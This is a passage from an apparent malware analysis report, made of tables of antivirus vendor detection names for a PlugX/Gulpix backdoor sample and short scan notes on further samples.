<td>McAfee-GW-Edition: RDN/Generic BackDoor!gq</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Sophos: Troj/Agent-AATT</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Microsoft: Backdoor:Win32/Plugx.A</td>
<td></td>
<td></td>
</tr>
<tr>
<td>GData: Trojan.Agent.AZDK</td>
<td></td>
<td></td>
</tr>
<tr>
<td>AhnLab-V3: Backdoor/Win32.Gulpix</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Ikarus: Backdoor.Win32.Gulpix</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Fortinet: W32/Gulpix.BO!tr.bdr</td>
<td></td>
<td></td>
</tr>
<tr>
<td>AVG: Agent4.AKAP</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Panda: Trj/CI.A</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Scanned: 2013-03-21 13:29:45 - 44 scans - 0 detections (0.0%)</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Page 20 of 21
<table>
<thead>
<tr>
<th>Company</th>
<th>Virus Family</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>MicroWorld–eScan</td>
<td>Trojan.Agent.AZDK</td>
<td></td>
</tr>
<tr>
<td>nProtect</td>
<td>Trojan.Agent.AZDK</td>
<td></td>
</tr>
<tr>
<td>McAfee</td>
<td>RDN/Generic BackDoor!gt</td>
<td></td>
</tr>
<tr>
<td>Malwarebytes</td>
<td>Backdoor.Gulpix</td>
<td></td>
</tr>
<tr>
<td>Symantec</td>
<td>WS.Reputation.1</td>
<td></td>
</tr>
<tr>
<td>Norman</td>
<td>Agent.APIJH</td>
<td></td>
</tr>
<tr>
<td>TrendMicro–HouseCall</td>
<td>TROJ.Gen.RCBOCJ</td>
<td></td>
</tr>
<tr>
<td>Avast</td>
<td>Win32:Gulpix–B [Trj]</td>
<td></td>
</tr>
<tr>
<td>Kaspersky</td>
<td>Backdoor.Win32.Gulpix.bo</td>
<td></td>
</tr>
<tr>
<td>BitDefender</td>
<td>Trojan.Agent.AZDK</td>
<td></td>
</tr>
<tr>
<td>Agnitum</td>
<td>Backdoor.Gulpix!EFaRR6Ltc4</td>
<td></td>
</tr>
<tr>
<td>Comodo</td>
<td>UnclassifiedMalware</td>
<td></td>
</tr>
<tr>
<td>F–Secure</td>
<td>Trojan.Agent.AZDK</td>
<td></td>
</tr>
<tr>
<td>DrWeb</td>
<td>Trojan.Click2.52215</td>
<td></td>
</tr>
<tr>
<td>VIPRE</td>
<td>Trojan.Win32.Generic!BT</td>
<td></td>
</tr>
<tr>
<td>AntiVir</td>
<td>TR/Agent.azdk.2</td>
<td></td>
</tr>
<tr>
<td>TrendMicro</td>
<td>TROJ.Gen.RCBOCJ</td>
<td></td>
</tr>
<tr>
<td>McAfee–GW-Edition</td>
<td>RDN/Generic BackDoor!gt</td>
<td></td>
</tr>
<tr>
<td>Sophos</td>
<td>Trojan-Agent–AATT</td>
<td></td>
</tr>
<tr>
<td>Microsoft</td>
<td>Backdoor:Win32/Plugx.A</td>
<td></td>
</tr>
<tr>
<td>GData</td>
<td>Trojan.Agent.AZDK</td>
<td></td>
</tr>
<tr>
<td>Commtouch</td>
<td>W32/Backdoor.YVCB–5867</td>
<td></td>
</tr>
<tr>
<td>Ikarus</td>
<td>Backdoor.Win32.Gulpix</td>
<td></td>
</tr>
<tr>
<td>Fortinet</td>
<td>W32/Gulpix.BO!tr.bdr</td>
<td></td>
</tr>
<tr>
<td>AVG</td>
<td>Agent4.AKAP</td>
<td></td>
</tr>
<tr>
<td>Panda</td>
<td>Trj/CI.A</td>
<td></td>
</tr>
</tbody>
</table>

- Sample D (McUtil.DLL.PPT)
  - Not uploaded to VirusTotal.

- Sample E
  - Not uploaded to VirusTotal.

- Sample F (UAC.TMP)
  - Panda: Suspicious file
  - Scanned: 2012–09–20 02:33:55 – 43 scans – 1 detections (2.0%)